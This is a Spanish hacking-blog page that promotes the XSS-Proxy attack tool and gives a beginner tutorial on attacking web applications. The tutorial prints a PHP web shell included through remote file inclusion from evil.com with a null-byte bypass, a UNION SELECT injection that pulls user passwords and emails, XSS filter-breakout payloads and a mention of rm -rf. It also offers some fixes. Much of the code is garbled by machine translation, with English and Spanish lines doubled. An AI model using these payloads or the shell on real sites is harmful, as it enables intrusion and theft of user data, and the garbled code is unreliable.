Hacking Blog: XSS

XSS-proxy es una Herramienta De Xss Automatizada Cruz-sitio de scripting (XSS) herramienta de ataque. Los documentos, herramientas y otros contenidos de esta herramienta es asuniendo que tienen una comprensión básica de XSS cuestiones y métodos de explotación existentes. Si no está familiarizado con XSS y, a continuación, le recomiendo que visite alguno de los enlaces / docs de abajo para obtener una mejor idea de lo que es XSS y la forma de detectar, arreglar, y se aprovechan de ella.

Cross Site Scripting (XSS)
CERT info on XSS

CGISecurity’s Cross Site Scripting FAQ
Gunter Ollmann’s XSS paper
PeterW’s Cross Site Request Forgery (CSRF) Concept
SecureNet’s Session Riding paper

Algunas ideas falsas acerca de XSS

"Un usuario tiene que hacer clic en un vínculo que estén afectados por XSS." No - si usted visita una página el navegador se ejecutará independientemente de que usted haga clic en un enlace. cuidadosamente este ejemplo por lo que no se ejecute en su navegador, pero me podría haber puesto las etiquetas de secuencias de comandos reales / comandos aquí y te hizo correr entonces transparente.
"XSS sólo pasa en boletines , blogs y otros sitios en los que un atacante puede cargar script de contenido." Esa es una forma en que el ataque puede suceder, pero un atacante también puede aprovechar los sitios que permiten HTML / SCRIPT etiquetas que se refleja de vuelta a la mismo usuario (como un formulario de búsqueda que se repite lo que fue informado de que debe buscar en la respuesta). Estas fallas son comúnmente combinado con redirecciones a sitios público o mensajes de correo electrónico para atacar a un segundo sitio.
"No.. sólo los ataques XSS crean ventanas emergentes, alertas y otras cosas molestas?" No - Normalmente se utilizan para revelar las cookies o la forma de acceso basada en la información a los atacantes. Después de obetner esta información, el atacante la utiliza para entrar en el mismo sitio que tú.
"Yo entiendo los XSS, pero no creo que es un enorme problema". Creo que usted cambia de opinión una vez que comprendes este avanzado ataque. Lea las cosas avanzadas y por debajo de jugar con XSS-proxy para ver cómo realmente lo mal que un XSS puede ser.

Puede descargar XSS-proxy aquí:

XSS-Proxy_0_0_12-book.pl

o leer mas AKA

Introduccion a Ataques Aplicaciones webs (Nivel Novato)
--= WebHacking --

-= Intro -
en este tutorial, vamos a discutir las vulnerabilidades, y qué va mal con el server, y algunas formas de explotar ...
Disfrute!

Tutorial: [Básico | | 1]

+------------------------------------------+
|
| | Principiantes | |
|
+------------------------------------------+

Cosas a saber:

Vulnerabilidad: un agujero de seguridad puede ser explotado para cambiar la forma en que el webapp / software / funcione.

=- CMS, Foros utilizan bases de datos para almacenar la información como usuarios, los puestos, los hilos, mensajes y así sucesivamente, por lo general su / la mayoría de un servidor MySQL.

=- RFI [Inclusión del fichero remoto]: un usuario malicioso puede incluir una "mala aplicacion" o código a ser ejecutado en el sitio vulnerable.

=- LFI [Inclusión de archivos locales]: un usuario malicioso puede abrir cualquier archivo en el servidor.

=- SQL Inyección: La inyección de una consulta MySQL para eludir o recibir más información de una base de datos.

=- [Cross Site Scripting]: si se trata de una vulnerabilidad permanente, donde los usuarios se guarda la entrada, el usuario puede acceder cookies, IP, y mucho más ...

=- Exploit: un script para usar maliciosamente ante una vulnerabilidad.

+------------------------------------------+
| | ¿Qué va mal | |

+------------------------------------------+
. Vamos a tomar cada vulnerabilidad, y tomar un look a lo que va mal con el desarrollador web, que ha hecho el script vulnerable ...

=- RFI::
RFI's son explotados mediante la inclusión de un codigo malicioso desde otro sitio, a los sitios vulnerables, por ejemplo, puedes incluir una PHP-Shell, y ejecutar comandos en el servidor usando ...
. esta vulnerabilidad es muy peligrosa, un sitio vulnerable se puede comprometer fácilmente ...

un ejemplo de un código infectado con un RFI:

$page = $_GET['page']; $ page = $ _GET [ 'page'];

if (isset($page)) if (isset ($ pagina))
{ (
include($page); include ($ page);
} )

?> >

como pueden ver, estamos tomando la variable de la página y, entre ellos, ahora que el script trabajo y hacer lo que está supuesto a hacer, por ejemplo:

www.example.com/index.h4x?page=contact.h4x

esto abriría contact.h4x, pero lo que un usuario malicioso hacer?

www.example.com/index.h4x?page=http://www.evil.com/shell.txt?

la extension del código debe estar en un archivo txt, porque de esta manera el código será analizada y ejecutada en el sitio vulnerable.

--- que pasa entonces?

$page = $_GET['page']; $ page = $ _GET [ 'page'];

if (isset($page)) if (isset ($ pagina))
{ (
include('http://www.evil.com/shell.txt?'); include ( "http://www.evil.com/shell.txt?");
} )

?> >

el archivo de texto que se incluyó, por lo que digamos los shell.txt tuvo el siguiente código:

$command = $_GET['cmd']; $ comando = $ _GET [ 'cmd'];

if ($command) if ($ comando)
{ (
@system($command); @ sistema ($ comando);
} )
echo " echo "

"; ";

?> >

un pequeño cuadro de texto aparecera en la página, con un botón, que ejecuta comandos ... the el usuario puede comprometer la totalidad del sitio usando este sencillo cuadro de texto, si hubiera suficientes privilegios

rm -rf rm-rf

y borrar los archivos ...

algunos desarrolladores, creen que pueden arreglar la vulnerabilidad de la siguiente manera:

$page = $_GET['page']; $ page = $ _GET [ 'page'];
$page = $page . $ page = $ página. ".php"; ". php";

if (isset($page)) if (isset ($ pagina))
{ (
include($page); include ($ page);
} )

?> >

de esta manera, sólo se puede incluir.archivos php, y que no es realmente una gran causa que PHP se analiza en el lado del servidor ...

pero, que acostumbra dejar a algunas personas, hay algo llamado NullByte, que simplemente decirle a PHP para hacer caso omiso de cualquier cosa después de que ... si alguien quería aprovechar ese código, que haría:

www.darkmindz.com/index.h4x?page=http://www.evil.com/shell.txt? www.darkmindz.com/index.h4x?page=http://www.evil.com/shell.txt? 00%

como se puede ver, el [00%] es la NullByte, que se analiza de esta manera:

$page = $_GET['page']; $ page = $ _GET [ 'page'];
$page = $page . $ page = $ página. ".php"; ". php";

if (isset($page)) if (isset ($ pagina))
{ (
include('http://www.evil.com/shell.txt?'); // ignoring anything after the NullByte, which is in this case, the .php... include ( "http://www.evil.com/shell.txt?"); / / ignorar nada después de la NullByte, que es en este caso, el. php ...
} )

?> >

por lo que la cuestión ahora es cómo garantizar por completo este sistema de URL?

así, puede usar un interruptor declarador, y de esta manera, cualquier cosa distinta de lo que ya se ha dicho, no será incluido .. por ejemplo:

if(isset($_REQUEST['page'])) if (isset ($ _REQUEST [ 'página']))
{ (
switch ($_REQUEST['page']) { switch ($ _REQUEST [ 'página']) (

case 'about': caso 'sobre':
include('about.php'); // if the page was about, get the about.php contents... include ( "about.php '); / / si la página se acerca, about.php obtener el contenido ...
break; break;

case 'contact': caso "Contacto":
include('contact.php'); // and so on :) include ( 'contact.php'); / / y así sucesivamente:)
break; break;

default: por defecto:
include('index.php'); // the default page to include, if the page variable was not found, or it was a hack attempt :) include ( 'index.php'); / / la página por defecto para incluir, si la variable de página no encontrada, o se trataba de un intento de cortar:)
break; break;

} )

} )

?> >

es un sistema perfecto, simple y seguro, y funciona:)

ahora que se hace, RFI, es como LFI, nada es diferente, pero el hecho de que sólo el LFI se encuentra en las páginas del servidor, la mayoría de las veces descargar scripts están infectados con el LFI, causa que se hacen a readfile (); sea cual sea es xD .. Solo es mal codeo xD.

Ahora NOS desplazamos a las inyecciones de SQL, esas son mortales cuando los sitios de comercio electrónico están infectadas con ellas!

un usuario malicioso podría explotar un código de inyeccion sql, para eludir un formulario de autentificación, y la tabla de mysql como admin.

o mediante la inyección de la URL para que pueda ejecutar la consulta de MySQL, lo que le permitirá acceder a información de los usuarios, y así sucesivamente ...

ejemplo de código vulnerable:

$host = "localhost"; $ host = "localhost";
$user = "root"; $ user = "root";
$pass = "r00t"; $ pass = "r00t";
$db = "banks"; $ db = "bancos";

mysql_connect($host, $user, $pass); mysql_connect ($ host, $ usuario, $ pass);
mysql_select_db($db); mysql_select_db ($ db);

$id = $_GET['id']; $ id = $ _GET [ 'id'];

if (isset($id)) if (isset ($ id))
{ (
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id"); $ consulta = mysql_query ( "SELECT * FROM` noticias `EN` `id = $ id");
if ($query) if ($ consulta)
{ (
while($news = mysql_fetch_array($query)) while ($ noticias = mysql_fetch_array ($ consulta))
{ (
echo $news['news']; echo $ noticia [ 'noticia'];
} )
} )
} )

?> >

ahora, como pueden ver, toma el 'id' variable, y la consulta, sin filtros

ahora si queres inyectar, i en primer lugar, para comprobar la vulnerabilidad ....: haciendo lo siguiente:

www.example.com/page.php?id=1 OR 2 www.example.com/page.php?id=1 O 2

elemental y explicado milesima de veces pero aveces o para los nuevos vale recalcarlo

SI 2 noticias estaba allí, entonces eres afortunado:(o sea en la tabla) D, y aquí viene la parte buena, cuando la información se extrae, mediante un comando UNIÓN, i puede seleccionar de otra columna, y el eco que allí ...

para hacer una inyección sería el siguiente:

www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users

ahora en función del número de filas en la columna de noticias, i tendrá que cambiar el número de filas seleccionadas ...

por lo que ahora sabremos lo que salió mal, seguro que permite inyecciones!

$host = "localhost"; $ host = "localhost";
$user = "root"; $ user = "root";
$pass = "r00t"; $ pass = "r00t";
$db = "banks"; $ db = "bancos";

@mysql_connect($host, $user, $pass); // adding the @ sign will make it error free, no errors is shown if the DB couldnt be selected or connection refused @ mysql_connect ($ host, $ usuario, $ pass); / / añadir el signo @ se hará libre de errores, los errores no se muestra si el PP podría ser seleccionado o conexión rechazada
@mysql_select_db($db); @ mysql_select_db ($ db);

$id = (Int) $_GET['id']; // now we are telling PHP that id is an Integer, do not process anything else.. $ id = (int) $ _GET [ 'id']; / / ahora estamos diciendo que PHP id es un número entero, no proceso de cualquier otra cosa .. ;) ;)

if (isset($id)) if (isset ($ id))
{ (
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id"); $ consulta = mysql_query ( "SELECT * FROM` noticias `EN` `id = $ id");
if ($query) if ($ consulta)
{ (
while($news = mysql_fetch_array($query)) while ($ noticias = mysql_fetch_array ($ consulta))
{ (
echo $news['news']; echo $ noticia [ 'noticia'];
} )
} )
} )
?> >

es decir, este código es seguro/.............. ...
====================================
ahora nos desplazamos a XSS, no es realmente un gran problema si no es algo curioso!

ejemplo de XSS sería en un libro de visitas, comentarios, formularios de contacto, listas de correo, etc ..

que puede el usuario malicioso hacer?

puede usar un javascript para cambiar el título, formas, precios, datos ocultos, las páginas, las acciones, y peor aún, acceder la página!
algunos CMS y Foros, utilizan las cookies y los usuarios almacenar la información de ellos, si ese sitio es vulnerable a XSS, el atacante puede obtenerprivilegios de administrador de la tabla de administradores en las/o con las cookies ...

un codigo vulnerable sería el siguiente:

$message = $_POST['message']; $ mensaje = $ _POST [ 'mensaje'];

if (isset($_POST['message'])) if (isset ($ _POST [ 'mensaje']))
{ (

echo "Thank you, your message has been posted!"; echo "Gracias, tu mensaje ha sido publicado!";

echo "
"; echo "
";

echo $message; echo $ mensaje;
} )

echo " echo "

"; ";

?> >

ok, por lo que ahora un usuario malicioso podría hacer lo siguiente:

presentar el siguiente texto para probar la vulnerabilidad:

alert("xss") alert ( "XSS")

or o

Nice Website! Niza sitio web

Si el HTML se analiza "y que en el presente Código", el atacante pasará ahora al siguiente paso, en la tabla de la página .. redireccionando a un logger ..

algunos métodos de saltar algunos filtros, por ejemplo, si el formulario sólo presenta enlaces, permite tomar éste como un ejemplo:

$message = $_POST['message']; $ mensaje = $ _POST [ 'mensaje'];

if (isset($_POST['message'])) if (isset ($ _POST [ 'mensaje']))
{ (

echo "Thank you, your link has been added!"; echo "Gracias, su vínculo se ha añadido!";

echo "
"; echo "
";

echo "Link";; echo " Link ";
} )

echo " echo "

"; ";

?> >

ahora que no se debe analizar nada, sino simplemente envuélvalo en un enlace derecho?

Bueno, no lo creo, simplemente puede eludir usando:

'> alert("owned") '> Alert ( "propiedad")

¿por qué que lo salta?

lo que sucede, es

'> '>

se detendrá una etiqueta y, a continuación, puede abrir cualquier otra cosa ...

aquí está el resultado:

alert("owned")'>Link alert ( "propiedad") "> Vínculo

como pueden ver, la etiqueta tiene unas > cerradas, que me permitió abrir otra etiqueta, que es un script y funciona:)

+------------------------------------------+
| | FIN | |
+------------------------------------------+

Espero que hayan disfrutado de este tutorial, y aprendido algo nuevo en el.

no mucho pero algo un poco novaton para que empiezen en algo...

Creado por Romeo

Hacking Blog

sábado, 25 de octubre de 2008

XSS-proxy - Cross Site Scripting herramienta Automatizada de ataques

martes, 20 de mayo de 2008

Introduccion a Ataques Aplicaciones webs (Nivel Novato)

Introduccion a Ataques Aplicaciones webs (Nivel Novato)

miércoles, 2 de abril de 2008

ProxyStrike